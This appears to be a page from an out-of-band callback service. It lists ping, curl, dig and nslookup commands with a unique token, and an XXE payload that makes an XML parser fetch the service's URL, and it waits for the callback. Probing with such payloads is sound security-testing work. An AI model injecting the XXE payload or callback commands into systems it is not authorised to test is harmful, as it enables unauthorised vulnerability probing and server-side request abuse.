$ ping -c1 -p 006cba0e3556325b3eec2a7db944f700 pingb.in
 
$ curl pingb.in/p/6cba0e3556325b3eec2a7db944f7
 
$ dig 6cba0e3556325b3eec2a7db944f7 @pingb.in
 
$ dig 6cba0e3556325b3eec2a7db944f7.ns.pingb.in
 
C:\> nslookup 6cba0e3556325b3eec2a7db944f7 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/6cba0e3556325b3eec2a7db944f7">]>
    <foo>&xxe;</foo>
 
Waiting for ping...